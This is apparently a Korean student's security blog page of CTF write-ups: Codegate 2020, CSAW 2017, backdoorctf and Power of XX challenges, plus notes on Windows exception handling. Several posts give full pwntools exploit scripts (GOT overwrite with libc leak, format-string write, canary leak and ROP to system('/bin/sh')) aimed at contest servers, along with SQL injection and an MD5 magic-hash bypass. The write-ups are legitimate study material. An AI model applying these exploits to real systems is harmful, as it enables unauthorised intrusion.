블로그 이미지
Nehoy
경기대학교 / kknock

calendar

1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30

Notice

Tag

2020. 2. 22. 18:07 Hack/리버싱

verifier.zip
0.00MB

정해진 문법에 맞추어 코드를 입력하면 실행해주는 프로그램이다.

 

입력한 코드를 a_interp를 통해 시뮬레이션을 돌려보고 에러가 없으면, interp를 통해 실제 구동을 한다.

 

플래그는 위와 같이 Print 구문을 통해 얻을 수 있다. 실제 구동에서 출력할 변수 값이 음수이면 플래그를 출력하는데, 시뮬레이션 도중 출력할 변수 값이 음수이면 print domain error을 발생시킨다.

 

IfElse, While, Cond, Num, Random 구문이 위 Print 구문처럼 시뮬레이션 코드와 실제 구동 코드가 다르다. 예시로 IfElse 구문을 살펴보자.

 

실제 구동 코드에서는 조건 값에 따라 실행하는 코드가 달라지고 그에 따라 변수의 값이 변하는데, 시뮬레이션의 경우 조건문에 사용되는 변수를 참이 되는 범위와 거짓이 되는 범위로 나누고 변수가 변할 수 있는 값의 범위를 확인한다. 간단히 하면, 시뮬레이션의 경우 변수가 변할 수 있는 모든 범위를 확인한다고 할 수 있다.

 

가능한 모든 범위를 확인하는 IfElse와 달리, While 구문의 경우 반복문을 5번만 실행해본다. 여기서 env_join은 코드를 실행한 후 변수의 값을 갱신하는 것이고, env_widen은 코드를 실행한 후 변수의 변경 추이에 따라 값이 증가하면 inf, 값이 감소하면 -inf로 설정하는 것이다.

132줄을 통해 -inf, inf로 변한 값들 중 조건문에서 사용되는 변수의 경우 134줄의 cond.a_interp를 거치면서 -inf, inf값이 조건문의 범위에 맞게 변하지만, 그 이외의 변수들은 계속 -inf 혹은 inf값을 갖고 있는다.

 

그래서 위와 같은 코드에서 a가 음수가 될 수 없음에도 시뮬레이션 코드에서는 -inf가 되기 때문에 domain error가 발생한다.

우회 방법은 env_widen을 할 때 출력할 변수의 값을 감소시키지 않는 것이다.

따라서, 반복이 4번을 넘을 때부터 감소를 하면 되는데, 아래와 같이 안되는 방법도 있으니 주의해야 한다.

 

 위와 같은 방법은 136번줄에서 a의 범위가 -1~0이 되기 때문에 안된다.

 

위 코드의 경우 136번줄에서 a의 범위가 0~1이 되기 때문에 우회가 가능하다.

Flag: CODEGATE2020{4bstr4ct_1nt3rpr3tat10n_f0r_54f3_3v41uat10n}

 

 

 

'Hack > 리버싱' 카테고리의 다른 글

Codegate2020 Preliminary: Halffeed  (0) 2020.02.22
Windows Exception  (0) 2020.01.18
[CSAW 2017] tablez  (0) 2017.09.20
[Codegate 2016] compress  (0) 2017.05.20
[CodeEngn] Challenges : Basic 01  (0) 2016.12.20
posted by Nehoy
2020. 2. 22. 18:03 Hack/리버싱

Halffeed.zip
0.00MB

입력 값을 암호화해주는 프로그램이다.

 

3Execute 메뉴에 복호화 했을 때 cat flag가 나오는 암호문과 태그 값을 입력하면 플래그를 얻을 수 있다.

 

하지만 서버에서는 cat flag가 포함된 평문을 암호화할 수 없다.

 

암호에 사용되는 키 값 또한 서버에 파일로 존재하기 때문에 알 수 없다.

평문을 암호화하는 코드는 위와 같다. 코드를 살펴보면 T와 평문을 xor 연산하여 암호문을 생성하고 있다. 여기서 평문에 00000000000000000000000000000000를 넣으면 T leak할 수 있다는 걸 알 수 있다.

 

00000000000000000000000000000000 ;cat flag;000000

00000000000000000000000000000000 3B63617420666C61673B303030303030

우리는 평문을 위와 같이 넣었을 때 나오는 암호문과 태그 값을 원하기 때문에 다음과 같이 평문을 넣어 블록 연산에 사용되는 T를 구한다. (블록이 두개인 이유는 이후에 서술할 collision 때문이다.)

00000000000000000000000000000000 00000000000000000000000000000000

T2_1 = ec8e2e8ec0319fbaa0e7d4d819006e28

T2_2 = e6048fd38996e7cb945879d068a612bd

T를 알아냄으로써 우리는 우리가 원하는 암호문을 다음과 같이 얻을 수 있다.

CHIPER_TEXT = ec8e2e8ec0319fbaa0e7d4d819006e28 dd67eea7a9f08baaf36349e05896228d

 

이제 태그 값을 알아내야 하는데 위 코드를 참고하면, 우리가 원하는 태그 값이 다음과 같다는 것을 알 수 있다.

하지만 AES_Encrypt에 사용되는 키 값을 모르기 때문에 태그 값을 바로 구하지는 못하고, 우리가 알 수 있는 ANS 값을 이용해 태그 값을 구해야 한다.

 

P2 = 00000000000000000000000000000000 3B63617420666C61673B303030303030

P1 = ?

P1를 입력했을 때의 ANS값과 P2를 입력했을 때의 ANS값을 같게 하고, P1을 서버에서 암호화하면 우리가 원하는 태그 값을 얻을 수 있다는 게 핵심이다.

여기서 블록을 두개 사용하는 이유가 나오는데, 첫번째 블록이 달라지면 두번째 블록에서 사용되는 T_2값이 달라지기 때문에 두개의 블록을 사용하는 것이다.

 

P1_1 = 11111111111111111111111111111111

P1의 첫번째 블록에 사용할 값은 위와 같다. T1_2를 알아내기 위해 다음과 같은 값을 서버에서 암호화한다.

11111111111111111111111111111111 00000000000000000000000000000000

T1_2 = 00928a21ee7ae49344e7336d666bdba6

 

이제 어떤 값을 P1_2에 넣어야 ANS가 나오는지 계산한다.

P1 = 11111111111111111111111111111111 ddf56486478a6f39673B303030303030

 

P1을 서버에 전송함으로써, 우리가 원하는 태그 값을 얻을 수 있다.

TAG = 04e46eb38401a4727f15967a29784f17

 

위에서 얻은 CHIPER값과 TAG값을 Execute의 입력 값으로 넣으면 플래그를 얻을 수 있다.

Flag: CODEGATE2020{F33D1NG_0N1Y_H4LF_BL0CK_W1TH_BL0CK_C1PH3R}

'Hack > 리버싱' 카테고리의 다른 글

Codegate2020 Preliminary: Verifier  (0) 2020.02.22
Windows Exception  (0) 2020.01.18
[CSAW 2017] tablez  (0) 2017.09.20
[Codegate 2016] compress  (0) 2017.05.20
[CodeEngn] Challenges : Basic 01  (0) 2016.12.20
posted by Nehoy
2020. 1. 18. 14:26 Hack/리버싱

1. SEH (Structured Exception Handling)

  • SEHWindows OS에서 지원하는 예외처리 방식으로 __try, __except, __finally 문법으로 이루어진다. 안티디버깅 용도로도 사용된다.
  • __try 블록 내에서 예외가 발생하면 __except 문에 해당되는 예외 핸들러(Exception Handler)를 호출하여 예외를 처리한다.
  • __except 블록 안에서 GetExceptionCode 함수를 이용해서 예외 종류를 확인하고 세 가지 선택(exception filter)을 할 수 있다. __except 문의 예외 핸들러 실행 (EXCEPTION_CONTINUE_EXECUTION), 예외의 원인을 해결하고 예외 발생한 곳에서 이어서 실행, 다음 예외 핸들러 찾기 (EXCEPTION _CONTINUE_SEARCH)
  • __try 영역 밖을 벗어나게 되면 __finally 영역 내의 코드(Termination Handler)를 실행한다. 스레드 강제 종료, 프로세스 종료를 제외한 모든 제어문(return, break )을 통해 영역 밖을 나갈 때도 실행된다.

2. VEH (Vectored Exception Handler)

  • VEHSEH를 응용프로그램 범위로 확장한 것으로 프로그램에서 예외가 발생하면 제일 먼저 호출된다. AddVectoredExceptionHandler라는 함수로 추가 할 수 있다.

3. VCH (Vectored Continue Handler)

  •  VCHVEHSEH에서 EXCEPTION_CONTINUE_EXECUTE가 반환되었을 때 호출 된다.

4. UEH (Unhandled Exception Handler)

  • UEH는 모든 예외 핸들러에서 처리되지 못한 예외를 처리하는 곳이다.

5. Unwind

  • Local Unwindtry-finally 구문에서 try 블록 내부에 return, goto 등의 제어문이 있을 때 발생한다. finally 블록을 실행 후 이동을 해야 하기 때문에 임시 변수를 생성해서 상태를 저장하는 것이다.
  • Global Unwind는 예외 핸들러의 exception filterEXCEPTION_EXECUTE_HANDLER인 경우 발생하는데, try 블록 내부에서 예외가 발생하면 finally보다 except를 먼저 찾아 처리하기 때문에 예외를 처리하기 전에 제일 안에 있는 finally부터 처리해 except 블록까지 내려오는 행위다.

'Hack > 리버싱' 카테고리의 다른 글

Codegate2020 Preliminary: Verifier  (0) 2020.02.22
Codegate2020 Preliminary: Halffeed  (0) 2020.02.22
[CSAW 2017] tablez  (0) 2017.09.20
[Codegate 2016] compress  (0) 2017.05.20
[CodeEngn] Challenges : Basic 01  (0) 2016.12.20
posted by Nehoy
2017. 10. 26. 13:25 Hack/기타

opener.tar.gz

https://gist.github.com/bincat99/dc40fc894bed1831cd654abfcdc65f55

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <signal.h>
 
 
void init ()
{
  setvbuf (stdin, 020);
  setvbuf (stdout, 020);
  setvbuf (stderr, 020);
}
 
int read_input (char *buf, int len)
{
  int ret;
 
  ret = read (0, buf, len);
 
  if (ret < 0)
  {
    fprintf (stderr, "read error!\n");
    exit (1);
  }
 
  if (buf[ret-1== '\n')
    buf[ret-1= '\0';
 
  return ret;
}
 
 
int filter (char * buf)
{
 
  if (strstr (buf, "flag"))
    return 1;
 
  return 0;
}
 
char flag[40= {0};
char path[100= {0};
 
int main ()
{
  int fd;
 
  init ();
 
  fd = open ("./flag", O_RDONLY);
  read (fd, flag, 40);
  //close (fd);
 
 
  puts ("give me your path :D");
  printf (">> ");
 
  read_input (path, 0x40);
 
  if (filter (path))
  {
   puts ("Nop :/");
   exit (0);
  }
 
 
  fd = open (path, O_RDONLY);
  read (fd, path, 40);
  close (fd);
 
  puts (path);
}
 
cs

떻게 풀까 고민하던 중 같은 대회의 basic_bf 문제가 도움이 되었다. 해당 문제에서 /dev/urandom 파일을 open 하는 것을 보고 똑같이 /dev에 open할 만한게 있지 않을까 해서 찾아보던 중 fd 폴더를 찾게 되었다.


참고로 각 프로세스는 /proc/[pid] 폴더를 갖게 되는데 /proc/self/를 하면 자신 프로세스의 폴더를 찾을 수 있다.

/dev/fd/ 폴더는 /proc/self/fd의 심볼릭 링크이다.

(참고로. stdin도 /proc/self/stdin과 같이 참조할 수 있다.)


fd는 순차적으로 할당되고 0, 1, 2는 각각 stdin, stdout, stderr로 이미 할당되어있기 때문에 3이 flag 파일의 fd(file descriptor)일 것을 예상할 수 있다.


로컬에서는 /dev/fd/3을 이용해서 풀 수 있었는데, 원격으로 풀 때는 /dev/fd/3으로 풀리지 않았다. 이유를 찾아보니 nc로 원격 접속을 할 경우 3과 4에 해당하는 fd가 이미 존재해서였다. 따라서, /dev/fd/5를 입력하면 flag를 얻을 수 있다.


후기.
/dev/fd/3이 안되는 이유를 몰라서 bf 소스(payload.py)를 만들었다. 뻘짓이었다..


'Hack > 기타' 카테고리의 다른 글

[backdoorctf17] extend_me  (0) 2017.10.13
[backdoorctf17] the-wall  (0) 2017.10.13
posted by Nehoy
2017. 10. 26. 13:11 Hack/포너블

note.tar.gz


문제 특징

1. GOT 변조

2. libc leak

3. setvbuf



modify 함수에서 index를 음수로하면 라이브러리 함수의 got.plt와 stdin, stdout, stderr 변수의 값을 바꿀 수 있다. (buffer의 주소가 0x6020A0으로 bss 영역에 있기 때문이다.)


여기서 std--- 변수들은 FILE * 자료형으로 라이브러리에 존재하는 FILE 객체를 가르킨다고 한다. 핵심은 포인터 변수라는 것이다!


인자와 함께 got를 조작할 수 있는게 이 부분밖에 없다.


libc-database-master를 이용하여 system과 /bin/sh의 offset을 구한다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#-*- coding: utf-8 *-
from pwn import *
 
# proc = process('./note')
proc = remote('125.131.189.15'10001)
 
def menu(select) :
    proc.recvuntil('5.Exit\n')
    proc.sendline(select)
 
def modify(index, value) :
    menu('3')
    proc.recvuntil('modify : \n')
    proc.sendline(index)
    proc.recvuntil('Contents : \n')
    proc.send(value)
 
proc.recvuntil('Note\n')
proc.sendline('123')
 
modify('-11', p64(0x400786))    # exit@got.plt -> setvbuf init
modify('-13', p64(0x400610))    # setvbuf@got.plt -> puts@plt
modify('-4', p64(0x602028))    # stderr pointer -> read@got.plt
menu('5')
 
read_got = u64(proc.recvuntil('1.Add')[:6+ "\x00\x00")
 
# libc.so.6
libc_base = read_got - 0xf7220
system_addr = libc_base + 0x45390
sh_addr = libc_base + 0x18cd17
 
"""
# local
system_addr = read_got - 0xA77B0
sh_addr = read_got + 0x94779
"""
 
log.info('system_addr : ' + hex(system_addr))
log.info('sh_addr : ' + hex(sh_addr))
 
modify('-13', p64(system_addr))    # setvbuf@got.plt -> system addr
modify('-4', p64(sh_addr))    # stderr pointer -> sh addr
menu('5')
 
proc.interactive()
 
cs

1. libc leak

setvbuf@got.plt를 puts@plt로 바꾸고 stderr를 read@got.plt로 변경한다.

exit@got.plt를 setvbuf를 호출하는 함수인 0x400786으로 변경하여, libc leak을 한다.


offset을 이용하여 system과 /bin/sh의 주소를 구한다.


2. exploit


setvbuf@got.plt를 system 주소로 바꾸고 stderr를 /bin/sh로 변경하여 쉘을 실행시킨다.


후기.
 setvbuf 함수는 ctf 문제를 풀다보면 흔히 볼 수 있는 함수이다. 그래서 무심코 지나갔는데 이 함수가 문제 풀이 핵심되어서 많이 헤매었다.


'Hack > 포너블' 카테고리의 다른 글

[backdoorctf17] baby-0x41414141  (0) 2017.10.13
[CSAW 2017] scv  (0) 2017.09.20
[포너블] level1  (7) 2017.03.11
[Codegate 2016] watermelon  (3) 2017.02.23
[Linux] %?$p 와 64bit 프로그램 매개변수 순서  (0) 2017.02.21
posted by Nehoy
2017. 10. 13. 17:31 Hack/기타

EXTEND-ME.zip


flag를 흭득하기 위한 조건

1. username을 입력해야 함

2. cookie에 user와 data가 존재해야 함

3. '|'.join([key,username,user])를 SLHA1 해쉬화한 값과 cookie의 data를 base64 디코드한 값이 같아야 함


문제 설명

1. cookie에 user와 data가 존재할 때, data와 원하는 값이 같지 않으면 data에 원하는 값을 base64 인코딩해서 넣어준다

2. 끝



1. 쿠키 설정

user는 "admin"을 base64 인코딩해서 넣고, data는 임의의 값을 base64 인코딩해서 넣는다.


로그인을 하면 data가 프로그램이 원하는 값으로 변한다.


2. 풀이

그 상태로 로그인하면 플래그가 나타난다.


'Hack > 기타' 카테고리의 다른 글

[Power Of XX] opener  (0) 2017.10.26
[backdoorctf17] the-wall  (0) 2017.10.13
posted by Nehoy
2017. 10. 13. 17:11 Hack/기타

문제 특징.

1. SQL Injection

2. php md5 bug


1. Username 흭득

sql injection을 이용하여 권한이 admin인 유저 이름을 흭득한다.


2. Exploit

password를 md5로 해쉬화하고 ==를 이용하여 비교한다.

php md5 bug가 유력하기 때문에 md5 값이 0e462097431906509019562988736854 인 240610708을 password로 넣으면 flag가 나타난다.

'Hack > 기타' 카테고리의 다른 글

[Power Of XX] opener  (0) 2017.10.26
[backdoorctf17] extend_me  (0) 2017.10.13
posted by Nehoy
2017. 10. 13. 16:48 Hack/포너블

baby-0x41414141.tar.gz


문제 특징.

1. FSB

2. exit()로 끝나기 때문에 main의 RET 변조는 의미 없음

3. NX 존재

4. flag() 함수 존재




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#-*- coding: UTF-8 -*-
from pwn import *
 
# proc = process('./32_new')
proc = remote('163.172.176.29'9035)
 
payload = ''
payload += '%8x' * 9
payload += '%x' * 6
payload += '%x' * 3 + '%8x'
payload += '%x' * 4
payload += '%34277x' + '%x' * 5 + '%hn' + '1234'
payload += p32(0x0804a034)
 
pause()
 
# exploit
print(proc.recvuntil('name?\n'))
proc.sendline(payload)
 
print(proc.recv())
proc.interactive()
 
cs

1. exploit
exit@plt.got(0x0804a034)를 flag 함수의 주소(0x0804870b)로 바꿔주면 된다.
상위 2byte는 0x0804로 값이 같기 때문에 하위 2byte만 %hn으로 변경해주면 된다.

0x870b 라는 값을 넣기 위한 payload를 작성하고 exploit한다.


후기.

payload를 짜는게 힘들었다. pwntools에 FSB 툴이 있다고 알고 있는데 알아봐야겠다.

'Hack > 포너블' 카테고리의 다른 글

[Power Of XX] note  (0) 2017.10.26
[CSAW 2017] scv  (0) 2017.09.20
[포너블] level1  (7) 2017.03.11
[Codegate 2016] watermelon  (3) 2017.02.23
[Linux] %?$p 와 64bit 프로그램 매개변수 순서  (0) 2017.02.21
posted by Nehoy
2017. 9. 20. 16:09 Hack/리버싱

tablez.tar.gz


 입력 받은 문자열을 get_tbl_entry() 함수로 변환 시킨다. 변환 시킨 문자열이 주어진 문자열과 일치하면 성공한다.


 get_tbl_entry() 함수는 매개변수로 넘어온 문자가 table[2*i]와 같으면 table[2*i + 1]을 반환한다.


table 자료는 위와 같이 data 영역에 있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
 
void main() {
    char map[510= { 0, }, ans[37];
    char buffer[38= {0, };
    int i, j;
 
    // Read File
    FILE *file = fopen("map""rb");
    fread(map, sizeof(char), 510, file);
    fclose(file);
 
    file = fopen("target""rb");
    fread(ans, sizeof(char), 37, file);
    fclose(file);
 
    // Compare
    for (i = 0; i < 37; i++) {
        for (j = 0; j <= 0xFE; j++) {
            if (map[j * 2 + 1== ans[i]) {
                buffer[i] = map[j * 2];
                break;
            }
        }
    }
 
    printf("%s\n", buffer);
}
 
cs

 table 자료(map 파일)와 목적 문자열(target 파일)을 가져온다음, 역으로 추적하는 프로그램을 만들었다.



후기.

trans_tbl과 byte_201281 사이에 있는 1byte랑 끝에 있는 1byte를 빼고 map 파일을 만들어서 고생했다..

'Hack > 리버싱' 카테고리의 다른 글

Codegate2020 Preliminary: Halffeed  (0) 2020.02.22
Windows Exception  (0) 2020.01.18
[Codegate 2016] compress  (0) 2017.05.20
[CodeEngn] Challenges : Basic 01  (0) 2016.12.20
[Reversing.kr] imagePrc  (0) 2016.05.30
posted by Nehoy
2017. 9. 20. 14:53 Hack/포너블

scv.tar.gz




문제 특징.

1. 버퍼 오버 플로우

2. 해당 버퍼의 내용을 볼 수 있음

3. canary 존재, NX 존재


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#-*- coding: utf-8 -*-
from pwn import *
 
# env = {'LD_PRELOAD':'./libc-2.23.so'}
# proc = process(["./scv"], env=env)
proc = remote('pwn.chal.csaw.io'3764)
 
# canary leak
proc.recvuntil('>>')
proc.sendline('1')
proc.recvuntil('>>')
proc.send('a'*164 + 'abcd' + 'e')    # buffer + canary_msb
 
proc.recvuntil('>>')
proc.sendline('2')
proc.recvuntil('abcd' + 'e')
 
canary = '\x00' + proc.recvn(7)
log.info("canary : " + hex(u64(canary))) # NULL + canary
 
# main_ret leak
proc.recvuntil('>>')
proc.sendline('1')
proc.recvuntil('>>')
proc.send('a'*168 + 'b'*8 + 'c'*8)    # buffer + canary + SFP
 
proc.recvuntil('>>')
proc.sendline('2')
proc.recvuntil('c'*8)
 
main_ret = proc.recvn(6+ '\x00\x00'
main_ret = u64(main_ret)
log.info("main_ret : " + hex(main_ret))
 
# exploit
libc_base = main_ret - 0x20830
system_addr = libc_base + 0x45390
sh_addr = libc_base + 0x18cd17
rdi_addr = 0x400ea3
 
payload = ''
payload += 'a'*168
payload += canary
payload += p64(0xdeadbeef)
payload += p64(rdi_addr)
payload += p64(sh_addr)
payload += p64(system_addr)
 
proc.recvuntil('>>')
proc.sendline('1')
proc.recvuntil('>>')
proc.send(payload)
 
pause()
 
proc.recvuntil('>>')
proc.sendline('3')
 
proc.interactive()
 
cs

1. canary leak

 canary의 종류가 최상위 1byte가 NULL인 canary이다. 따라서, 최상위 1byte를 채워주면 canary를 leak 할 수 있다.


2. main_ret leak

 canary를 leak한 것과 같이 main함수의 RET(__libc_start_main_ret)을 leak 한다.

 libc-database-master를 이용하여 라이브러리의 system 함수와 "bin/sh" 문자열의 주소를 구한다.


3. exploit

 해당 프로그램은 64bit 라서 매개변수를 레지스터로 넘겨줘야 한다. rdi에 "bin/sh"의 주소를 넣기 위해서 gadget을 찾는다.


 canary를 유지시키면서 Exploit!


후기.

 첫번째로 해멘 곳은 매개변수를 레지스터로 넘기는 부분이다. 64bit에서는 매개변수를 레지스터로 넘긴다는게 생각나지 않았다.. ROPgadget 툴을 처음 써보았다. 굉장히 좋은듯!

 두번째로 헤멘 곳은 출력받는 부분이다. 여태까지는 recv()를 써서 출력을 받았었는데, 이 함수 때문에 main_ret leak이 잘 안됐었다. 앞으로는 recvuntil()과 recvn()을 애용해야겠다.

'Hack > 포너블' 카테고리의 다른 글

[Power Of XX] note  (0) 2017.10.26
[backdoorctf17] baby-0x41414141  (0) 2017.10.13
[포너블] level1  (7) 2017.03.11
[Codegate 2016] watermelon  (3) 2017.02.23
[Linux] %?$p 와 64bit 프로그램 매개변수 순서  (0) 2017.02.21
posted by Nehoy
prev 1 2 3 next